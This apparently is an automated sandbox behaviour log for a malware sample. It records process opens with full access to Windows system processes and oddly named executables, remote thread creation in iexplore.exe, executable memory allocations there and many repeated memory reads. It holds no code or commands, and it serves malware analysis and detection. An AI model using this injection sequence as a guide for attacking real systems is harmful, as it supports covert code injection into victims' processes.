Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
For performance reasons, the remaining 448 entries are omitted.
The remaining entries can be found in glog.xml.
Thread (2)
»
Operation Process Additional Information Success Count Logfile
Create c:\program files\internet explorer\iexplore.exe proc_address = 0x1a13600, proc_parameter = 0 True 1
Fn
Create c:\program files\internet explorer\iexplore.exe proc_address = 0x1aa3600, proc_parameter = 0 True 1
Fn
Memory (1006)
»
Operation Process Additional Information Success Count Logfile
Allocate c:\program files\internet explorer\iexplore.exe address = 27262976, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 79424 True 1
Fn
Allocate c:\program files\internet explorer\iexplore.exe address = 27852800, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 79424 True 1
Fn
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
